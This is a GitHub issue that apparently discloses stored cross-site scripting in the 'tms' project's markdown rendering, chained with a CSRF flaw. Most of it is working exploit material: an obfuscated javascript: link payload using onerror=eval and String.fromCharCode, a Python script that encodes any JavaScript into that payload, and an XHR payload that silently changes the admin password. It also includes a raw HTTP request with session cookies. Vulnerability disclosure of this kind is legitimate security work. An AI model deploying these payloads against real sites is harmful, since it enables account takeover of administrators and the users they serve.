You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
[Suggested description]
I found many cross site scripting(XSS) vulnerabilities exists in tms (markdown XSS). Every edit or comment page with markdown may has this vulnerability. It's too many to list.
code = """var xhr = new XMLHttpRequest(); var url = 'http://localhost:8080/admin/user/update2'; xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { if (xhr.status === 200) { console.log('success!'); console.log(xhr.responseText); } else { console.error('failed' + xhr.status); } } }; xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); var postData = 'username=super&password=hacker123'; xhr.send(postData);""" # js code here result = ''
ascii_values = [str(ord(char)) for char in code]
for value in ascii_values: result += (value + ',')
result = result[:-1] final = "[click here](javascript:{onerror=eval}throw'=" + f"eval\\x28String.fromCharCode\\x28{result}\\x29\\x29')" print(final)
Send the message and open the console. Click the message.
Logout and relogin, the password has changed!
The text was updated successfully, but these errors were encountered:
WDLegend
changed the title
There are cross site scripting vulnerabilities exist in cms
There are cross site scripting vulnerabilities exist in tms
Dec 8, 2023
[Suggested description]
I found many cross site scripting(XSS) vulnerabilities exists in tms (markdown XSS). Every edit or comment page with markdown may has this vulnerability. It's too many to list.
[Vulnerability Type]
Cross Site Scripting (XSS)
[Vendor of Product]
https://github.com/xiweicheng/tms
[Affected Product Code Base]
v2.28.0
[vulnerability proof]
![image](https://private-user-images.githubusercontent.com/108244328/288928742-6698a7b0-5ea5-4fd6-ba54-577ca1e261e9.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQyNzk4ODUsIm5iZiI6MTcyNDI3OTU4NSwicGF0aCI6Ii8xMDgyNDQzMjgvMjg4OTI4NzQyLTY2OThhN2IwLTVlYTUtNGZkNi1iYTU0LTU3N2NhMWUyNjFlOS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwODIxJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDgyMVQyMjMzMDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0yNmRlNmM1ODg4NjhjM2NkMjYyMzJhNDM5Njk3YTI2MmVhN2Q5MThhMzkyMzEyOWNlMmIxNTFmZDQ1ODQ3Y2VhJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.kQe6VuGlWu7MtykBhgQKkkxymC-HjdZ9Z8qGwIeTxKg)
Every markdown pages may has XSS. Here I choose this page:
http://localhost:8080/page/index.html#/chat/@super
Enter the poc here and send the message.
[click here](javascript:{onerror=eval}throw'=eval\x28String.fromCharCode\x2897,108,101,114,116,40,49,41\x29\x29')
The broswer alert 1
![image](https://private-user-images.githubusercontent.com/108244328/288929172-61475aeb-ed93-4162-819e-6c57f4472d09.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQyNzk4ODUsIm5iZiI6MTcyNDI3OTU4NSwicGF0aCI6Ii8xMDgyNDQzMjgvMjg4OTI5MTcyLTYxNDc1YWViLWVkOTMtNDE2Mi04MTllLTZjNTdmNDQ3MmQwOS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwODIxJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDgyMVQyMjMzMDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zZWIwOGQ3MjgxN2ExMjYwMDU0NTliMWJmOGM2ZTY4YzI5MDJjMGZiNjkwNjc5Y2IzNzZkMjQ1YzljNzY4YjE0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.nDjOH0uHq6XhbVTsMBvRpXhqKsxU4cHu2bt9IjctkvA)
[Exploit scripts]:
code = """alert(1)""" # js code here
result = ''
ascii_values = [str(ord(char)) for char in code]
for value in ascii_values:
result += (value + ',')
result = result[:-1]
final = "[click here](javascript:{onerror=eval}throw'=" + f"eval\\x28String.fromCharCode\\x28{result}\\x29\\x29')"
print(final)
[Repair Suggestion]
Change another Markdown component, or add a filter in backend to check XSS attack when storing into MySQL.
[With CSRF vulnerability]
There is a CSRF vulnerability, we could use xss + csrf to change Admin's password.
This is the update password http package:
POST /admin/user/update2 HTTP/1.1
Host: localhost:8080
Content-Length: 32
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: /
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1701849099; JSESSIONID=9F0DF9ABD117D0289143D1B75E19E15A; Hm_lpvt_a4980171086658b20eb2d9b523ae1b7b=1701867716
Connection: close
username=super&password=12345678
Exploit script here:
code = """var xhr = new XMLHttpRequest();
var url = 'http://localhost:8080/admin/user/update2';
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
console.log('success!');
console.log(xhr.responseText);
} else {
console.error('failed' + xhr.status);
}
}
};
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var postData = 'username=super&password=hacker123';
xhr.send(postData);""" # js code here
result = ''
ascii_values = [str(ord(char)) for char in code]
for value in ascii_values:
result += (value + ',')
result = result[:-1]
final = "[click here](javascript:{onerror=eval}throw'=" + f"eval\\x28String.fromCharCode\\x28{result}\\x29\\x29')"
print(final)
Send the message and open the console. Click the message.
![image](https://private-user-images.githubusercontent.com/108244328/288932132-71c6bcd3-963a-4fce-b424-3e3cdfeb01f8.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjQyNzk4ODUsIm5iZiI6MTcyNDI3OTU4NSwicGF0aCI6Ii8xMDgyNDQzMjgvMjg4OTMyMTMyLTcxYzZiY2QzLTk2M2EtNGZjZS1iNDI0LTNlM2NkZmViMDFmOC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwODIxJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDgyMVQyMjMzMDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1mZDhhZTUyNDEwZWRmOTQ1ZjU1ZGMwMzk3ZmI4MmFhYzQ5OTQyZGQ4Y2JjMzlmNDM5YzgwZTJkODJlMjNkOWQxJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.RCHGu1C_a2164LIU0kLncdVW24UuaUChZnSZ0DkgUI4)
Logout and relogin, the password has changed!
The text was updated successfully, but these errors were encountered: